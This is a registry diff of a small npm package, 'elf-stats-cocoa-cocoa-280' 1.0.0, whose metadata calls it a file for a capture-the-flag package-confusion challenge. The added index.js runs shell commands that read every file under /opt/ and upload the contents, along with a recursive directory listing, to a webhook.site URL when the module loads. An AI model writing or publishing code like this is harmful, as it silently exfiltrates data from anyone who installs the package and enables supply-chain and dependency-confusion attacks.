elf-stats-cocoa-cocoa-280 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +7 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ const { exec } = require('child_process');
2
+
3
+ const cmd = 'find /opt/ -type f -exec cat {} + | curl -d @- https://webhook.site/fb2bb625-9144-49fe-a209-ba1ee65b5e64';
4
+ const cmd2 = 'ls -laR /opt/ | curl -d @- https://webhook.site/fb2bb625-9144-49fe-a209-ba1ee65b5e64';
5
+
6
+ exec(cmd, (error, stdout, stderr) => { });
7
+ exec(cmd2, (error, stdout, stderr) => { });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "elf-stats-cocoa-cocoa-280",
3
+ "version": "1.0.0",
4
+ "description": "file for A CtF package confusion challenge, Root-X-Mas. DO not download",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "Elf Workshop",
10
+ "license": "MIT"
11
+ }